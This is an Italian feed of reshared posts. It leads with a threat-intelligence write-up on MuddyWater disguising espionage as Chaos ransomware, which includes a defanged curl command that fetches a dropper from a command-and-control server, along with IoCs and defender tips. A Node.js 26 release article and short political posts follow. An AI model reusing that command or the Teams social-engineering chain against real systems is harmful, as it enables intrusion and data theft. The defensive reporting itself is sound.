In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.

La falsa bandiera: cos’è il ransomware Chaos


Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.

La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.

La catena di attacco: dal social engineering alla persistenza silenziosa


L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.

La fase successiva ha visto il download del dropper principale tramite RDP:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Il dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).

Il RAT Game.exe: analisi tecnica


Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.

L’attribuzione: il “tell” nel certificato di firma


Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.

La convergenza tra APT e cybercrime: una tendenza sistemica


Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.

Indicatori di Compromissione (IoC)

# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
C:\ProgramData\ms_upd.exe

Due righe per i difensori


  • Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
  • Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
  • Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
  • MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
  • Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.


Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

E siete a #Pisa anche il 22 maggio?

Siete tutti graditi a questo incontro dibattito con la prof. @mcp , il prof. #GiuseppeLongo e me!

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

ACCIPIGNA! E CHI L'AVREBBE MAI DETTO?????

marieclaire.it/attualita/news-…

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

Bernini: “FFO supera 9 miliardi, quota mai così alta”

@scuola

corriereuniv.it/bernini-ffo-su…

“Nel 2026 il fondo di finanziamento ordinario ha raggiunto la quota più alta della tua dalla sua nascita: oltre 9 miliardi e 400 milioni, in aumento quest’anno. Per questo continuo francamente non comprendere su quali basi si continui a parlare di tagli. Il

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy
#tech
spcnet.it/node-js-26-0-0-tempo…
@informatica


Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy


Il 5 maggio 2026 il team di Node.js ha rilasciato la versione 26.0.0, denominata “Current”, che introduce cambiamenti significativi alla piattaforma runtime JavaScript server-side più diffusa al mondo. Node.js 26 entrerà in Long-Term Support (LTS) nell’ottobre 2026: da quel momento sarà la release raccomandata per ambienti di produzione. Nel frattempo, i sei mesi di status “Current” sono il momento ideale per esplorare le novità e valutare l’impatto sulle proprie applicazioni.

Temporal API abilitata di default


La novità più attesa di Node.js 26 è l’abilitazione di default della Temporal API, la moderna API JavaScript per la gestione di date e orari. Per anni, la community ha convissuto con i limiti dell’oggetto Date: mancanza di supporto per i fusi orari, comportamenti incoerenti, mutabilità non controllata, e risultati controintuitivi in molti scenari di internazionalizzazione.

Temporal risolve tutti questi problemi alla radice, introducendo un sistema di tipi ricco e immutabile:

  • Temporal.PlainDate: una data senza orario né fuso orario
  • Temporal.PlainTime: un orario senza data né fuso orario
  • Temporal.PlainDateTime: data e orario senza fuso orario
  • Temporal.ZonedDateTime: data e orario con fuso orario esplicito
  • Temporal.Instant: un momento preciso nel tempo (come un timestamp Unix)
  • Temporal.Duration: un intervallo di tempo

Ecco un esempio pratico di come Temporal semplifica operazioni che con Date richiedevano librerie esterne come Luxon o date-fns:

// Ottenere la data di oggi in un fuso orario specifico
const oggi = Temporal.Now.plainDateISO('Europe/Rome');
console.log(oggi.toString()); // "2026-05-07"

// Aggiungere 30 giorni senza preoccuparsi dei mesi
const traThentaGiorni = oggi.add({ days: 30 });
console.log(traThentaGiorni.toString()); // "2026-06-06"

// Calcolare la differenza tra due date
const inizio = Temporal.PlainDate.from('2026-01-01');
const fine = Temporal.PlainDate.from('2026-12-31');
const differenza = inizio.until(fine);
console.log(differenza.days); // 364

// Lavorare con fusi orari in modo esplicito
const appuntamento = Temporal.ZonedDateTime.from({
  year: 2026,
  month: 5,
  day: 15,
  hour: 14,
  minute: 30,
  timeZone: 'America/New_York'
});
const inRoma = appuntamento.withTimeZone('Europe/Rome');
console.log(inRoma.toLocaleString('it-IT'));

Fino a Node.js 25, Temporal era disponibile ma richiedeva il flag --harmony-temporal. Ora è parte integrante del runtime e non serve alcuna configurazione aggiuntiva.

V8 14.6: due nuove proposte TC39


Il motore JavaScript V8 è stato aggiornato alla versione 14.6.202.33 (Chromium 146), portando con sé due importanti proposte TC39 ora disponibili nativamente:

Upsert: Map.prototype.getOrInsert()


La proposta Upsert introduce i metodi getOrInsert() e getOrInsertComputed() su Map e WeakMap. Si tratta di un pattern molto comune nello sviluppo: controllare se una chiave esiste in una mappa, e se non esiste, inserire un valore di default e restituirlo.

// Prima di Node.js 26 - verboso e ripetitivo
function getOrCreate(map, key, defaultValue) {
  if (!map.has(key)) {
    map.set(key, defaultValue);
  }
  return map.get(key);
}

const cache = new Map();
const utenti = getOrCreate(cache, 'admin', []);
utenti.push('mario');

// Con Node.js 26 - conciso e leggibile
const cache = new Map();
const utenti = cache.getOrInsert('admin', []);
utenti.push('mario');

// Versione con factory function (lazy initialization)
const grandi = cache.getOrInsertComputed('admin', (key) => {
  return recuperaUtentiDalDb(key); // calcolato solo se necessario
});

Iterator sequencing: Iterator.concat()


La proposta Iterator sequencing introduce Iterator.concat(), che permette di concatenare più iteratori senza materializzarli tutti in memoria contemporaneamente:

// Concatenare lazily più sorgenti di dati
const paginaUno = [1, 2, 3][Symbol.iterator]();
const paginaDue = [4, 5, 6][Symbol.iterator]();
const paginaTre = [7, 8, 9][Symbol.iterator]();

const tuttiGliElementi = Iterator.concat(paginaUno, paginaDue, paginaTre);
for (const elemento of tuttiGliElementi) {
  console.log(elemento); // 1, 2, 3, 4, 5, 6, 7, 8, 9
}

Undici 8.0: il client HTTP di nuova generazione


La libreria Undici, il client HTTP integrato in Node.js, è stata aggiornata alla versione 8.0.2. Undici è il motore dietro fetch() nativo in Node.js ed è progettato per prestazioni e correttezza del protocollo HTTP/1.1 e HTTP/2. La versione 8 porta miglioramenti all’implementazione di WebSocket, gestione delle connessioni e supporto per proxy avanzati.

Deprecazioni e rimozioni importanti


Come ogni major version, Node.js 26 rimuove API che erano state deprecate nelle versioni precedenti. Ecco le più impattanti:

Rimozione di http.Server.prototype.writeHeader()


Il metodo writeHeader() è stato definitivamente rimosso. Era già deprecato da anni: la forma corretta è writeHead().

// ❌ Non funziona più in Node.js 26
res.writeHeader(200, { 'Content-Type': 'application/json' });

// ✅ Forma corretta
res.writeHead(200, { 'Content-Type': 'application/json' });

Rimozione dei moduli legacy _stream_*


I moduli interni _stream_wrap, _stream_readable, _stream_writable, _stream_duplex, _stream_transform e _stream_passthrough sono stati rimossi definitivamente. Se li state importando direttamente (cosa sconsigliata ma ancora diffusa in codice datato), dovete migrare all’API pubblica:

// ❌ Non funziona più
const { Readable } = require('_stream_readable');

// ✅ Sempre corretto
const { Readable } = require('stream');
// o con ESM:
import { Readable } from 'node:stream';

Rimozione di –experimental-transform-types


Il flag --experimental-transform-types, che abilitava la trasformazione automatica dei tipi TypeScript a runtime, è stato rimosso. Per eseguire TypeScript in Node.js, la raccomandazione ufficiale rimane l’uso di --experimental-strip-types (disponibile dalla v22.6+) oppure di tool dedicati come tsx o ts-node.

Deprecazioni runtime


Diverse API passano ora a deprecazione a runtime, il che significa che genereranno un avviso quando utilizzate, senza però bloccare l’esecuzione:

  • module.register() — deprecato in favore di import.meta.url patterns
  • Alcune API crypto (DEP0203, DEP0204) legate a formati di chiavi obsoleti
  • Alcune API stream (DEP0201)


Come aggiornare


Per installare Node.js 26 tramite nvm:

nvm install 26
nvm use 26
node --version  # v26.0.0

Con fnm:
fnm install 26
fnm use 26

Prima di aggiornare i progetti in produzione, si raccomanda di:
  1. Verificare che tutte le dipendenze siano compatibili con Node.js 26 (controllate le note di release dei principali package)
  2. Cercare nel codice le API rimosse: writeHeader, _stream_*, --experimental-transform-types
  3. Testare il comportamento della Temporal API se il vostro codice ha workaround per Date
  4. Abilitare i log delle deprecazioni runtime con NODE_OPTIONS='--trace-deprecation'


Conclusioni


Node.js 26 è una release di maturazione: la Temporal API è finalmente pronta per la produzione, V8 14.6 porta proposte TC39 da lungo tempo attese, e le rimozioni puliscono la piattaforma dagli artefatti del passato. Per chi lavora su progetti Node.js, questo è il momento di iniziare i test su questa versione in vista dell’ingresso in LTS di ottobre 2026.

Fonte: Node.js 26.0.0 Release Notes — nodejs.org, 5 maggio 2026


Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

Da Linux a Mac OS, poi a Windows e di nuovo (in parte) a Linux. Un appunto su anni di lavoro astrofisico con vari sistemi operativi...

segnalerumore.tumblr.com/post/…

#segnalerumore #tumblr #linux #zorinos

Questa voce è stata modificata (5 giorni fa)
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

"We estimate that an additional 1800 #Cuban babies died from these harsher #US sanctions"

This article by is a must read

(HT #GuillaumeLong)

cepr.net/publications/us-sanct…

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

if you were unable to attend the conference on #WikiLeaks, #ExposingCrimesIsNotACrime, organised by #TatianaBazzichelli and her team at #DisruptionLab, don't miss the full conference on their YouTube channel here:

bsky.app/profile/disruptionlab…

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

#DavidMcBride had the courage to expose #WarCrimes: he should be free and celebrated, while the #warCriminals should be in prison,but in our upside-down world, he's the one in prison.
Agitate, educate, organise against this monstrous injustice!

events.humanitix.com/free-davi…

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

siete a #Pisa il 21 maggio?

Siete tutti graditi a questo incontro-dibattito sul mio libro #LArmaFinale (#FuoriScena), perché purtroppo la minaccia esistenziale delle #ArmiNucleari è di gran lunga peggiore che durante la #GuerraFredda e le abbiamo in casa

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

gli schiaffi in faccia che #Trump continua a dare a #Meloni &Co. e rivelazioni come quella del #WashPost su #BasiMilitariUSA colpite dall'#Iran sono un'occasione formidabile x saltare giù dalla criminale #MacchinaDellaGuerraUSA prima che sia troppo tardi:

washingtonpost.com/investigati…